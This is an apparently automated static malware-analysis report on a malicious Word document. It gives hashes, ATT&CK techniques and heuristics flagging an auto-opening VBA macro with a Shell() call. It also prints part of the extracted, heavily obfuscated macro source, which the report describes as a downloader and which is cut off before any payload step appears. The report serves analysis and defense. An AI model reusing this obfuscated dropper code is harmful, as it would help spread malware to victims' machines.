Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8435e6922a5bb8ae…

MALICIOUS

Office (OLE)

197.5 KB Created: 2018-02-26 11:23:00 Authoring application: Microsoft Office Word First seen: 2020-01-07
MD5: bee48bb67e28e803efef86adaa23ee9d SHA-1: 91e3cf231e2c14bf46d603f270bb0bc7fa5adf38 SHA-256: 8435e6922a5bb8aeb4fcd1a489833a7898a2fa9707550c5c6843cbc5b0e0c04c
144 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The 'OLE_VBA_SHELL' heuristic indicates a call to the Shell() function, which is commonly used to execute arbitrary code. The 'AutoOpen' macro marker suggests the malicious code will execute automatically when the document is opened. The VBA script itself is heavily obfuscated but appears to be designed to download and execute a secondary payload.

Heuristics 6

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 62903 bytes
SHA-256: 62713b95578d7e2d92b10a8b98740d9852bc0ae26c1383f2a482f53be66ce372
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 24 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "cwunwdozRdnPR"
Sub fwGcvLXjz(OCirpnzRV)
   On Error Resume Next
   Dim FWSQA()
   ReDim BHzhW(2)
   UnjYIrTw(0) = 3115115
   zWZvzzIdiVuPS(1) = 1711788
   pcuJPmPBzir = Loo - 1996221
   fIzWmNXw = 8422300 * 862288
End Sub
Function NwwaIMXVIOSodw()
On Error Resume Next
FouahwZ = "XDFamUihjqVKDOotObdUGHMzjSJbKzJOorav%!=%7rav% tes&&PsOVcY"
CPofaKK = qaQBiXZjz = uqwMbjPrYGcC = (5481041 / KphmphQXS + 1265924 * kfcTAwcrmqMi * (2531136 / PrvzFNozsqo / 8032339 - Tan(rPVWXqZqEnYX / CBool(AKqhwG / 3969358 / ZqUYNt))))
biLHn = zmnliLJlb = TosnpLDX = (5402094 / MdHKsiVjRZBwKz + 5039951 * QCuMA * (2980209 / ZNJOjQOmzvR / 6278077 - Tan(fcswpdTCP / CBool(dvNmuBcPv / 9462140 / iziToPDmDCtQE))))
jzbDXTnKi = gjHBjhbyuf(FouahwZ, 7, 18)
rBnuYauh = "SYKcHJZrWcRPdDTsvHqjPUzCOqlYFJbm3rav%!DVOZDdL"
DXRwHktAHK = MKSUGukaw = Cistoiww = (4416071 / hqifSBfNjM + 2458121 * wwOVL * (2528161 / hLmzNj / 2546058 - Tan(PkmXABzZWjnBFO / CBool(ulECmtiSS / 7113633 / pSvqQvFBQcup))))
DmjiSpPz = MwwYspYLE = osNJhbFk = (3548260 / mLMhifPr + 9325675 * wuAws * (736440 / UmcuZkVdCdHN / 5783068 - Tan(fJaCAlPuMajOBV / CBool(sQQdmlwpZMarD / 5320201 / HdSHS))))
zUlvG = gjHBjhbyuf(rBnuYauh, 8, 6)
wYfEvwbEwmB = "UPavuwjkav% tes&&SwkOpFiRXXGBGP"
cOcmHnvii = CqBVBIVzQ = tTImwDIDznBtv = (4893122 / zVuwdijPhVXGui + 709022 * rjfwVIlhwziqA * (6467038 / vcVBnb / 213471 - Tan(KKEaQazOUvvK / CBool(PbdrjNA / 5595131 / sOANc))))
bAUhz = dYjQRqtVn = iUHwlJvF = (4535563 / fArKDNAKGRqaDz + 3746830 * nidTTunMIOFBr * (8922337 / IcRwdhWMDpiOWb / 1565444 - Tan(JfvVQbEc / CBool(NfBpIzSMThzm / 271782 / IRSadkfRlAzwV))))
ZuKKrEpXj = gjHBjhbyuf(wYfEvwbEwmB, 15, 9)
ElawjJRhjz = "lBiWnGBovmrhjntcWbhh"
MvhKTKZ = VmWbjDLZW = OTCTazkGAdQwbb = (2885596 / wElXRcMhLLbdnD + 1608151 * MOivNa * (2042719 / jIjdmZKuMhG / 1223395 - Tan(zfmGVHOYHSwV / CBool(jNzTlV / 8859298 / qIwjv))))
mQvPKHUwYhj = mBjQFwCSM = rorTvIZqjIb = (8060990 / wswkMjJWqXaVNs + 8160245 * zTrWiGf * (8754389 / wvQSM / 5182622 - Tan(wDjXIMpj / CBool(MBQRz / 6629380 / jcjpkTTq))))
mVNDGDH = gjHBjhbyuf(ElawjJRhjz, 5, 2)
iAptsTw = "KNtjqJWnoZzjVvnWfoGEQQH"
RbpIpkYKT = iGLiCdmzt = JmbzsIZnJ = (2878033 / rGEJuHmvwUkQU + 8123899 * wTHYZL * (3292323 / kfGqdI / 8406734 - Tan(QskrAHVHVACwD / CBool(VGJjLGjkp / 6179992 / zUioQInFaT))))
kpzjEHhl = YjwIpzzCZ = UFKJzh = (8937165 / lNfDERDnrSFrOq + 5403275 * zXKaWI * (6220928 / PWFrJUpjOrT / 2663314 - Tan(UihFCGhziuid / CBool(MbWTZ / 5550273 / zohMMdXdVdX))))
VwWdfzWOz = gjHBjhbyuf(iAptsTw, 4, 3)
lzciZ = "wjOnWHnToprZvAGpCsEToFMlzintwjZoUjdATSnhW"
ZFWrqMUjtl = biHonkXJH = EjBQABtlmntP = (6486307 / WEXjt + 30282 * nFmtPO * (6627285 / lXCINXsqTuAZC / 6579040 - Tan(YLAGRjMrQHf / CBool(aOXlnKvB / 3196824 / HUdiNEltaEFWN))))
adiBXtQWVJ = hOHQGYfmB = GSbwIMPHjRh = (832246 / dnWHGWhbMEB + 8041301 * ftoclEGnW * (2312207 / IcjLwYEfdiid / 7008408 - Tan(ZPTGtNaG / CBool(hVSEjdwsGbjz / 5614324 / WfnzVMnBQELMo))))
whTjFk = gjHBjhbyuf(lzciZ, 22, 8)
twQiVDhWoL = "lhzAWamSsRRjBYSJYiLM%1iNYjGL"
wNdbMawzL = rYEOTipac = iWjlwU = (9057878 / PtDiwnvZojMcN + 2335324 * muNiwiUBk * (4136909 / vBYUtwvFHBiNZR / 3689207 - Tan(tJNAtSAtqlmwH / CBool(sSIBruATmQjIE / 3891967 / jnRfo))))
SRFztYdwUaK = brXVEdAfd = KwzNIP = (953096 / ZZtZWzTkO + 6278889 * KzVRTTBvnwOu * (4047059 / iFiKqLobPrGuB / 4002672 - Tan(CTPTpTKpj / CBool(tHURbLiYjs / 8446214 / ZXVBiidLYSjV))))
VKRChVt = gjHBjhbyuf(twQiVDhWoL, 7, 2)
ZcjnPOq = " DHjBjQTMRXkiZhICdbkirnLQocUoXhpGit"
CSnutCld = WKMQFcCdi = ESEnMvHiN = (5121404 / ChmhpukXKqvYuG + 1996670 * XNuabTic * (6683088 / tuSZjWb / 5962536 - Tan(dZiQhSFX / CBool(ItKhBikRTAV / 6572047 / KzcBpFlHYzPmhq))))
boZTRNPl = owNHVwCUp = LsnoR = (637881 / JmiPjofdAm + 4962647 * vvvUovUGszm * (9394040 / JapwSwpVWFADa / 910739 - Tan(hiVJcj / CBool(GQYwswziJAhaa / 2703346 / jhpkPZ
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.